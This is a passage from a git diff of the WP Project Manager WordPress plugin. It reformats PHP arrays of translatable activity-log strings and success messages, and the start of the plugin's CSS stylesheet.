'meta.discussion_board_title'] - ], - 'delete_comment_on_discussion_board' => [ - __( '%1$s has deleted a comment on a discussion board, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.discussion_board_title'] - ], - 'reply_comment_on_discussion_board' => [ - __( '%1$s has replied a comment on a discussion board, %2$s', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.discussion_board_title'] - ], - 'update_reply_comment_on_discussion_board' => [ - __( '%1$s has updated a reply comment on a discussion board, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.discussion_board_title'] - ], - 'delete_reply_comment_on_discussion_board' => [ - __( '%1$s has deleted a reply comment on a discussion board, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.discussion_board_title'] - ], - - // Comment activities on milestone - 'comment_on_milestone' => [ - __( '%1$s has commented on a milestone, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.milestone_title'] - ], - 'update_comment_on_milestone' => [ - __( '%1$s has updated a comment on a milestone, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.milestone_title'] - ], - 'delete_comment_on_milestone' => [ - __( '%1$s has deleted a comment on a milestone, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.milestone_title'] - ], - 'reply_comment_on_milestone' => [ - __( '%1$s has replied a comment on a milestone, %2$s', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.milestone_title'] - ], - 'update_reply_comment_on_milestone' => [ - __( '%1$s has updated a reply comment on a milestone, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.milestone_title'] - ], - 'delete_reply_comment_on_milestone' => [ - __( '%1$s has deleted a reply comment on a milestone, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.milestone_title'] - ], - - // Comment activities on project - 'comment_on_project' => [ - __( '%1$s has commented on the project, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.project_title'] - ], - 'update_comment_on_project' => [ - __( '%1$s has updated a comment on the project, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.project_title'] - ], - 'delete_comment_on_project' => [ - __( '%1$s has deleted a comment on the project, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.project_title'] - ], - 'reply_comment_on_project' => [ - __( '%1$s has replied a comment on the project, %2$s', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.project_title'] - ], - 'update_reply_comment_on_project' => [ - __( '%1$s has updated a reply comment on the project, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.project_title'] - ], - 'delete_reply_comment_on_project' => [ - __( '%1$s has deleted a reply comment on the project, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.project_title'] - ], - - // Comment activities on task - 'comment_on_file' => [ - __( '%1$s has commented on a file, %2$s.', 'wedevs-project-manager' ), - ['actor.data.display_name', 'meta.file_title'] - ], - 'update_comment_on_file' => [ - __( '%1$s has updated a comment on a file, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.file_title'] - ], - 'delete_comment_on_file' => [ - __( '%1$s has deleted a comment on a file, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.file_title'] - ], - 'reply_comment_on_file' => [ - __( '%1$s has replied a comment on a file, %2$s', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.file_title'] - ], - 'update_reply_comment_on_file' => [ - __( '%1$s has updated a reply comment on a file, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.file_title'] - ], - 'delete_reply_comment_on_file' => [ - __( '%1$s has deleted a reply comment on a file, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.file_title'] - ], - - // duplicate project - 'duplicate_project' => [ - __( '%1$s has duplicated project from, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.old_project_title'] - ], - 'duplicate_list' => [ - __( '%1$s has duplicated list from, %2$s.', 'wedevs-project-manager'), - ['actor.data.display_name', 'meta.old_task_list_title'] - ], -]; + [ + __( '%1$s has created a project titled as %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.project_title'] + ], + 'update_project_title' => [ + __( '%1$s has updated project title from "%2$s" to "%3$s".', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.project_title_old', 'meta.project_title_new'] + ], + 'update_project_description' => [ + __( '%1$s has updated %2$s project description.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.project_title'] + ], + 'update_project_status' => [ + __( '%1$s has updated project status from "%2$s" to "%3$s".', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.project_status_old', 'meta.project_status_new'] + ], + 'update_project_budget' => [ + __( '%1$s has updated project budget from "%2$s" to "%3$s".', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.project_budget_old', 'meta.project_budget_new'] + ], + 'update_project_pay_rate' => [ + __('%1$s has updated project pay rate from "%2$s" to "%3$s".', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.project_pay_rate_old', 'meta.project_pay_rate_new'] + ], + 'update_project_est_completion_date' => [ + __( '%1$s has updated project est completion date from "%2$s" to "%3$s".', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.project_est_completion_date_old', 'meta.project_est_completion_date_new'] + ], + 'update_project_color_code' => [ + __( '%1$s has updated project color code from "%2$s" to "%3$s".', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.project_color_code_old', 'meta.project_color_code_new'] + ], + + // Activities on discussion board + 'create_discussion_board' => [ + __( '%1$s has created a discussion board titled as %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.discussion_board_title'] + ], + 'delete_discussion_board' => [ + __( '%1$s has deleted a discussion board titled as %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.deleted_discussion_board_title'] + ], + 'update_discussion_board_title' => [ + __( '%1$s has updated the title of a discussion board from "%2$s" to "%3$s".', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.discussion_board_title_old', 'meta.discussion_board_title_new'] + ], + 'update_discussion_board_description' => [ + __( '%1$s has updated the description of a discussion board, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.discussion_board_title'] + ], + 'update_discussion_board_order' => [ + __( '%1$s has updated the order of a discussion board, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.discussion_board_title'] + ], + 'update_discussion_board_status' => [ + __( '%1$s has updated the status of a discussion board, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.discussion_board_title'] + ], + + // Activities on task list + 'create_task_list' => [ + __( '%1$s has created a task list titled as %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_list_title'] + ], + 'delete_task_list' => [ + __( '%1$s has deleted a task list titled as %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.deleted_task_list_title'] + ], + 'update_task_list_title' => [ + __( '%1$s has updated the title of a task list from "%2$s" to "%3$s".', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_list_title_old', 'meta.task_list_title_new'] + ], + 'update_task_list_description' => [ + __( '%1$s has updated the description of a task list, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_list_title'] + ], + 'update_task_list_order' => [ + __( '%1$s has updated the order of a task list, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_list_title'] + ], + 'archived_task_list' => [ + __( '%1$s has archived a task list, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_list_title'] + ], + 'restore_task_list' => [ + __( '%1$s has restored a task list, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_list_title'] + ], + + // Activities on milestone + 'create_milestone' => [ + __( '%1$s has created a milestone, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.milestone_title'] + ], + 'delete_milestone' => [ + __( '%1$s has deleted a milestone, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.deleted_milestone_title'] + ], + 'update_milestone_title' => [ + __( '%1$s has updated the title of a milestone from "%2$s" to "%3$s".', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.milestone_title_old', 'meta.milestone_title_new'] + ], + 'update_milestone_description' => [ + __( '%1$s has updated the description of a milestone, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.milestone_title'] + ], + 'update_milestone_order' => [ + __( '%1$s has updated the order of a milestone, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.milestone_title'] + ], + 'update_milestone_status' => [ + __( '%1$s has updated the status of a milestone, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.milestone_title'] + ], + + // Activities on task + 'create_task' => [ + __( '%1$s has created a task, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_title'] + ], + 'delete_task' => [ + __( '%1$s has deleted a task, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.deleted_task_title'] + ], + 'update_task_title' => [ + __( '%1$s has updated the title of a task from "%2$s" to "%3$s".', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_title_old', 'meta.task_title_new'] + ], + 'update_task_description' => [ + __( '%1$s has updated the description of a task, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_title'] + ], + 'update_task_estimation' => [ + __( '%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_title', 'meta.task_estimation_old', 'meta.task_estimation_new'] + ], + 'update_task_start_at_date' => [ + __( '%1$s has updated the start date of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_title', 'meta.task_start_at_new', 'meta.task_start_at_old'] + ], + 'update_task_due_date' => [ + __( '%1$s has updated the due date of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_title', 'meta.task_due_date_new', 'meta.task_due_date_old'] + ], + 'update_task_complexity' => [ + __( '%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_title', 'meta.task_complexity_old', 'meta.task_complexity_old'] + ], + 'update_task_priority' => [ + __( '%1$s has updated the priority of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_title', 'meta.task_priority_old', 'meta.task_priority_new'] + ], + 'update_task_payable' => [ + __( '%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_title', 'meta.task_payable_old', 'meta.task_payable_new'] + ], + 'update_task_recurrent' => [ + __( '%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_title', 'meta.task_recurrent_old', 'meta.task_recurrent_new'] + ], + 'update_task_status' => [ + __( '%1$s has updated the status of a task, %2$s, from %3$s to %4$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_title', 'meta.task_status_old', 'meta.task_status_new'] + ], + + // Comment activities on task + 'comment_on_task' => [ + __( '%1$s has commented on a task, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_title'] + ], + 'update_comment_on_task' => [ + __( '%1$s has updated a comment on a task, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.task_title'] + ], + 'delete_comment_on_task' => [ + __( '%1$s has deleted a comment on a task, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.task_title'] + ], + 'reply_comment_on_task' => [ + __( '%1$s has replied a comment on a task, %2$s', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.task_title'] + ], + 'update_reply_comment_on_task' => [ + __( '%1$s has updated a reply comment on a task, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.task_title'] + ], + 'delete_reply_comment_on_task' => [ + __( '%1$s has deleted a reply comment on a task, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.task_title'] + ], + + // Comment activities on task list + 'comment_on_task_list' => [ + __( '%1$s has commented on a task list, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.task_list_title'] + ], + 'update_comment_on_task_list' => [ + __( '%1$s has updated a comment on a task list, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.task_list_title'] + ], + 'delete_comment_on_task_list' => [ + __( '%1$s has deleted a comment on a task list, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.task_list_title'] + ], + 'reply_comment_on_task_list' => [ + __( '%1$s has replied a comment on a task list, %2$s', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.task_list_title'] + ], + 'update_reply_comment_on_task_list' => [ + __( '%1$s has updated a reply comment on a task list, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.task_list_title'] + ], + 'delete_reply_comment_on_task_list' => [ + __( '%1$s has deleted a reply comment on a task list, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.task_list_title'] + ], + + // Comment activities on discussion board + 'comment_on_discussion_board' => [ + __( '%1$s has commented on a discussion board, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.discussion_board_title'] + ], + 'update_comment_on_discussion_board' => [ + __( '%1$s has updated a comment on a discussion board, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.discussion_board_title'] + ], + 'delete_comment_on_discussion_board' => [ + __( '%1$s has deleted a comment on a discussion board, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.discussion_board_title'] + ], + 'reply_comment_on_discussion_board' => [ + __( '%1$s has replied a comment on a discussion board, %2$s', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.discussion_board_title'] + ], + 'update_reply_comment_on_discussion_board' => [ + __( '%1$s has updated a reply comment on a discussion board, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.discussion_board_title'] + ], + 'delete_reply_comment_on_discussion_board' => [ + __( '%1$s has deleted a reply comment on a discussion board, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.discussion_board_title'] + ], + + // Comment activities on milestone + 'comment_on_milestone' => [ + __( '%1$s has commented on a milestone, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.milestone_title'] + ], + 'update_comment_on_milestone' => [ + __( '%1$s has updated a comment on a milestone, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.milestone_title'] + ], + 'delete_comment_on_milestone' => [ + __( '%1$s has deleted a comment on a milestone, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.milestone_title'] + ], + 'reply_comment_on_milestone' => [ + __( '%1$s has replied a comment on a milestone, %2$s', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.milestone_title'] + ], + 'update_reply_comment_on_milestone' => [ + __( '%1$s has updated a reply comment on a milestone, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.milestone_title'] + ], + 'delete_reply_comment_on_milestone' => [ + __( '%1$s has deleted a reply comment on a milestone, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.milestone_title'] + ], + + // Comment activities on project + 'comment_on_project' => [ + __( '%1$s has commented on the project, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.project_title'] + ], + 'update_comment_on_project' => [ + __( '%1$s has updated a comment on the project, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.project_title'] + ], + 'delete_comment_on_project' => [ + __( '%1$s has deleted a comment on the project, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.project_title'] + ], + 'reply_comment_on_project' => [ + __( '%1$s has replied a comment on the project, %2$s', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.project_title'] + ], + 'update_reply_comment_on_project' => [ + __( '%1$s has updated a reply comment on the project, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.project_title'] + ], + 'delete_reply_comment_on_project' => [ + __( '%1$s has deleted a reply comment on the project, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.project_title'] + ], + + // Comment activities on task + 'comment_on_file' => [ + __( '%1$s has commented on a file, %2$s.', 'wedevs-project-manager' ), + ['actor.data.display_name', 'meta.file_title'] + ], + 'update_comment_on_file' => [ + __( '%1$s has updated a comment on a file, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.file_title'] + ], + 'delete_comment_on_file' => [ + __( '%1$s has deleted a comment on a file, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.file_title'] + ], + 'reply_comment_on_file' => [ + __( '%1$s has replied a comment on a file, %2$s', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.file_title'] + ], + 'update_reply_comment_on_file' => [ + __( '%1$s has updated a reply comment on a file, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.file_title'] + ], + 'delete_reply_comment_on_file' => [ + __( '%1$s has deleted a reply comment on a file, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.file_title'] + ], + + // duplicate project + 'duplicate_project' => [ + __( '%1$s has duplicated project from, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.old_project_title'] + ], + 'duplicate_list' => [ + __( '%1$s has duplicated list from, %2$s.', 'wedevs-project-manager'), + ['actor.data.display_name', 'meta.old_task_list_title'] + ], +]; diff --git a/texts/common.php b/texts/common.php index 6dd355233..8aa14223f 100644 --- a/texts/common.php +++ b/texts/common.php @@ -1,4 +1,4 @@ - [ - __( 'project', 'wedevs-project-manager' ), - ], - 'discussion_board' => [ - __( 'discussion board', 'wedevs-project-manager' ), - ], - 'task_list' => [ - __( 'task list', 'wedevs-project-manager' ), - ], - 'task' => [ - __( 'task', 'wedevs-project-manager' ), - ], - 'milestone' => [ - __( 'milestone', 'wedevs-project-manager' ), - ], - 'comment' => [ - __( 'comment', 'wedevs-project-manager' ), - ], - 'file' => [ - __( 'file', 'wedevs-project-manager' ), - ], + [ + __( 'project', 'wedevs-project-manager' ), + ], + 'discussion_board' => [ + __( 'discussion board', 'wedevs-project-manager' ), + ], + 'task_list' => [ + __( 'task list', 'wedevs-project-manager' ), + ], + 'task' => [ + __( 'task', 'wedevs-project-manager' ), + ], + 'milestone' => [ + __( 'milestone', 'wedevs-project-manager' ), + ], + 'comment' => [ + __( 'comment', 'wedevs-project-manager' ), + ], + 'file' => [ + __( 'file', 'wedevs-project-manager' ), + ], ]; \ No newline at end of file diff --git a/texts/success_messages.php b/texts/success_messages.php index fa53874fa..19c7498ec 100644 --- a/texts/success_messages.php +++ b/texts/success_messages.php @@ -1,92 +1,92 @@ - [ - __( 'A new project has been created successfully.', 'wedevs-project-manager' ) - ], - 'project_updated' => [ - __( 'A project has been updated successfully.', 'wedevs-project-manager' ) - ], - 'project_deleted' => [ - __( 'A project has been deleted successfully.', 'wedevs-project-manager' ) - ], - // category crud releated messages - 'category_created' => [ - __( 'A new category has been created successfully.', 'wedevs-project-manager' ) - ], - 'category_updated' => [ - __( 'A category has been updated successfully.', 'wedevs-project-manager' ) - ], - 'category_deleted' => [ - __( 'A category has been deleted successfully.', 'wedevs-project-manager' ) - ], - 'selected_category_deleted' => [ - __( 'All the selected categories has been deleted successfully.', 'wedevs-project-manager' ) - ], - // comment crud releated messages - 'comment_created' => [ - __( 'Successfully commented.', 'wedevs-project-manager' ) - ], - 'comment_updated' => [ - __( 'A comment has been updated successfully.', 'wedevs-project-manager' ) - ], - 'comment_deleted' => [ - __( 'A comment has been deleted successfully.', 'wedevs-project-manager' ) - ], - // Dsicuss crud releated messages - 'discuss_created' => [ - __( 'A new discussion has been created successfully.', 'wedevs-project-manager' ) - ], - 'discuss_updated' => [ - __( 'A discussion has been updated successfully.', 'wedevs-project-manager' ) - ], - 'discuss_deleted' => [ - __( 'A discussion has been deleted successfully.', 'wedevs-project-manager' ) - ], - // Milestone crud releated messages - 'milestone_created' => [ - __( 'A new milestone has been created successfully.', 'wedevs-project-manager' ) - ], - 'milestone_updated' => [ - __( 'A milestone has been updated successfully.', 'wedevs-project-manager' ) - ], - 'milestone_deleted' => [ - __( 'A milestone has been deleted successfully.', 'wedevs-project-manager' ) - ], - // Task List crud releated messages - 'task_list_created' => [ - __( 'A new task list has been created successfully.', 'wedevs-project-manager' ) - ], - 'task_list_updated' => [ - __( 'A task list has been updated successfully.', 'wedevs-project-manager' ) - ], - 'task_list_deleted' => [ - __( 'A task list has been deleted successfully.', 'wedevs-project-manager' ) - ], - // Task crud releated messages - 'task_created' => [ - __( 'A new task has been created successfully.', 'wedevs-project-manager' ) - ], - 'task_updated' => [ - __( 'A task has been updated successfully.', 'wedevs-project-manager' ) - ], - 'task_deleted' => [ - __( 'A task has been deleted successfully.', 'wedevs-project-manager' ) - ], - 'setting_saved' => [ - __( 'Settings has been changed successfully.', 'wedevs-project-manager' ) - ], - 'no_element' => [ - __( 'No elements found.', 'wedevs-project-manager' ) - ], - 'no_project' => [ - __( 'No projects found.', 'wedevs-project-manager' ) - ], - 'task_activity_done_comment' => [ - __( "Task marked as done", 'wedevs-project-manager' ) - ], - 'task_activity_undone_comment' => [ - __( "Task reopened", 'wedevs-project-manager' ) - ], -]; + [ + __( 'A new project has been created successfully.', 'wedevs-project-manager' ) + ], + 'project_updated' => [ + __( 'A project has been updated successfully.', 'wedevs-project-manager' ) + ], + 'project_deleted' => [ + __( 'A project has been deleted successfully.', 'wedevs-project-manager' ) + ], + // category crud releated messages + 'category_created' => [ + __( 'A new category has been created successfully.', 'wedevs-project-manager' ) + ], + 'category_updated' => [ + __( 'A category has been updated successfully.', 'wedevs-project-manager' ) + ], + 'category_deleted' => [ + __( 'A category has been deleted successfully.', 'wedevs-project-manager' ) + ], + 'selected_category_deleted' => [ + __( 'All the selected categories has been deleted successfully.', 'wedevs-project-manager' ) + ], + // comment crud releated messages + 'comment_created' => [ + __( 'Successfully commented.', 'wedevs-project-manager' ) + ], + 'comment_updated' => [ + __( 'A comment has been updated successfully.', 'wedevs-project-manager' ) + ], + 'comment_deleted' => [ + __( 'A comment has been deleted successfully.', 'wedevs-project-manager' ) + ], + // Dsicuss crud releated messages + 'discuss_created' => [ + __( 'A new discussion has been created successfully.', 'wedevs-project-manager' ) + ], + 'discuss_updated' => [ + __( 'A discussion has been updated successfully.', 'wedevs-project-manager' ) + ], + 'discuss_deleted' => [ + __( 'A discussion has been deleted successfully.', 'wedevs-project-manager' ) + ], + // Milestone crud releated messages + 'milestone_created' => [ + __( 'A new milestone has been created successfully.', 'wedevs-project-manager' ) + ], + 'milestone_updated' => [ + __( 'A milestone has been updated successfully.', 'wedevs-project-manager' ) + ], + 'milestone_deleted' => [ + __( 'A milestone has been deleted successfully.', 'wedevs-project-manager' ) + ], + // Task List crud releated messages + 'task_list_created' => [ + __( 'A new task list has been created successfully.', 'wedevs-project-manager' ) + ], + 'task_list_updated' => [ + __( 'A task list has been updated successfully.', 'wedevs-project-manager' ) + ], + 'task_list_deleted' => [ + __( 'A task list has been deleted successfully.', 'wedevs-project-manager' ) + ], + // Task crud releated messages + 'task_created' => [ + __( 'A new task has been created successfully.', 'wedevs-project-manager' ) + ], + 'task_updated' => [ + __( 'A task has been updated successfully.', 'wedevs-project-manager' ) + ], + 'task_deleted' => [ + __( 'A task has been deleted successfully.', 'wedevs-project-manager' ) + ], + 'setting_saved' => [ + __( 'Settings has been changed successfully.', 'wedevs-project-manager' ) + ], + 'no_element' => [ + __( 'No elements found.', 'wedevs-project-manager' ) + ], + 'no_project' => [ + __( 'No projects found.', 'wedevs-project-manager' ) + ], + 'task_activity_done_comment' => [ + __( "Task marked as done", 'wedevs-project-manager' ) + ], + 'task_activity_undone_comment' => [ + __( "Task reopened", 'wedevs-project-manager' ) + ], +]; diff --git a/views/assets/css/style.css b/views/assets/css/style.css index a8fef07fb..cf8bba040 100644 --- a/views/assets/css/style.css +++ b/views/assets/css/style.css @@ -1,5697 +1,5697 @@ -.clearfix { - *zoom: 1; -} -.clearfix:before, -.clearfix:after { - display: table; - content: ""; - line-height: 0; -} -.clearfix:after { - clear: both; -} -.hide-text { - font: 0/0 a; - color: transparent; - text-shadow: none; - background-color: transparent; - border: 0; -} -.input-block-level { - display: block; - width: 100%; - min-height: 30px; - -webkit-box-sizing: border-box; - -moz-box-sizing: border-box; - box-sizing: border-box; -} -/** -* Stylesheet for WP Projetc Manager -* -* -**/ -/** Old Admin stylesheet **/ -/*-------------------------------------------------- -:: Variables --------------------------------------------------- */ -.pm-clearfix:after { - visibility: hidden; - display: block; - font-size: 0; - content: " "; - clear: both; - height: 0; -} -.pm-clearfix { - display: inline-block; -} -/* start commented backslash hack \*/ -.pm-clearfix { - height: 1%; - visibility: hidden; - display: block; - font-size: 0; - content: " "; - clear: both; -} -.pm-clearfix { - display: block; -} -.pm { - font-size: 14px; - line-height: 21px; - vertical-align: baseline; -} -.pm-spinner { - background: url("../images/loading.gif") no-repeat scroll 0 0 rgba(0, 0, 0, 0); - height: 16px; - display: inline-block; - width: 16px; -} -.pm .pm-data-load-before { - width: 100%; - text-align: center; -} -.pm .pm-data-load-before .loadmoreanimation { - display: block; -} -.pm .pm-box-title { - margin: 0; - font-size: 14px; - line-height: 1.4; - padding: 10px 15px; - border-bottom: 1px solid #eee; -} -.pm .pm-box-title .pm-small-title { - font-size: 13px; - font-weight: normal; - color: #999999; - margin-top: 10px; -} -.pm .pm-lock { - background: url('../images/lock.png') no-repeat scroll rgba(0, 0, 0, 0); - height: 16px; - width: 16px; - display: inline-block; -} -.pm a { - text-decoration: none; - box-shadow: none; -} -.pm a:link { - text-decoration: none; - box-shadow: none; -} -a:focus { - outline: thin dotted #333; - outline: 5px auto -webkit-focus-ring-color; - outline-offset: -2px; - text-decoration: none; - box-shadow: none; -} - -a:hover, -a:active { - outline: 0; - text-decoration: none; -} -.pm input[type=text]:-moz-placeholder, -.pm textarea:-moz-placeholder { - color: #999; -} -.pm input[type=text]:-ms-input-placeholder, -.pm textarea:-ms-input-placeholder { - color: #999; -} -.pm input[type=text]::-webkit-input-placeholder, -.pm textarea::-webkit-input-placeholder { - color: #999; -} -.pm h2 .nav-tab { - //font-size: 18px; - line-height: 20px; -} -.pm .nav-tab.nav-tab-active { - color: #000; -} -.pm button, -.pm input, -.pm select, -.pm textarea { - margin: 0; - font-size: 100%; - vertical-align: middle; -} - -.pm button, -.pm input { - *overflow: visible; - line-height: normal; -} - -.pm button::-moz-focus-inner, -.pm input::-moz-focus-inner { - padding: 0; - border: 0; -} - -.pm button, -.pm html input[type="button"], -.pm input[type="reset"], -.pm input[type="submit"] { - cursor: pointer; - -webkit-appearance: button; -} - -.pm label, -.pm select, -.pm button, -.pm input[type="button"], -.pm input[type="reset"], -.pm input[type="submit"], -.pm input[type="radio"], -.pm input[type="checkbox"] { - cursor: pointer; -} - -.pm input[type="search"] { - -webkit-box-sizing: content-box; - -moz-box-sizing: content-box; - box-sizing: content-box; - -webkit-appearance: textfield; -} - -.pm input[type="search"]::-webkit-search-decoration, -.pm input[type="search"]::-webkit-search-cancel-button { - -webkit-appearance: none; -} - - -.pm textarea, -.pm input[type=text] { - overflow: auto; - vertical-align: top; - padding: 5px 10px; - border: 1px solid #DDD; - font-size: 13px; - -webkit-box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.05); - -moz-box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.05); - box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.05); -} -.pm textarea:focus, -.pm input[type=text]:focus { - -webkit-box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.15); - -moz-box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.15); - box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.15); - border: 1px solid #DDD; -} -.pm select, -.pm textarea, -.pm input[type="text"], -.pm input[type="password"], -.pm input[type="datetime"], -.pm input[type="datetime-local"], -.pm input[type="date"], -.pm input[type="month"], -.pm input[type="time"], -.pm input[type="week"], -.pm input[type="number"], -.pm input[type="email"], -.pm input[type="url"], -.pm input[type="search"], -.pm input[type="tel"], -.pm input[type="color"], -.pm .uneditable-input { - display: inline-block; - height: 30px; - padding: 3px 8px; - margin-bottom: 0 0 10px; - font-size: 12px; - line-height: 100%; - color: #555555; - vertical-align: middle; - border: 1px solid #DDDDDD; - -webkit-box-shadow: none; - -moz-box-shadow: none; - box-shadow: none; - -webkit-transition: border linear 0.2s, box-shadow linear 0.2s; - -moz-transition: border linear 0.2s, box-shadow linear 0.2s; - -o-transition: border linear 0.2s, box-shadow linear 0.2s; - transition: border linear 0.2s, box-shadow linear 0.2s; -} -.pm textarea { - height: 80px; -} -/*.pm input[type="radio"], -.pm input[type="checkbox"] { - margin: 4px 0 0; - margin-top: 1px \9; - *margin-top: 0; - line-height: normal; -} - -.pm input[type="checkbox"] { - margin: -1px 0 0; - margin-top: 1px \9; - *margin-top: 0; - line-height: normal; -}*/ -.pm ul { - list-style: none; -} -.pm ul.order-statuses-filter { - font-size: 14px; - color: #dfdfdf; - list-style: none; - margin: 0; - display: inline-block; -} -.pm ul.order-statuses-filter li { - display: inline-block; - line-height: 13px; - padding: 0 5px; - border-right: 1px solid #dfdfdf; - margin: 0; -} -.pm ul.order-statuses-filter li:last-child { - border-right: none; -} -.pm ul.order-statuses-filter li.active a { - color: #999; -} -.pm .tablenav { - display: block; - padding: 10px 0px; - height: auto; -} -.pm .tablenav .tablenav-pages { - float: none !important; - margin-left: 0; -} -.pm .tablenav .tablenav-pages a { - padding: 4px 10px; - font-size: 13px; -} -.pm .tablenav .tablenav-pages span.current { - padding: 3px 10px; - font-size: 13px; - border: 1px 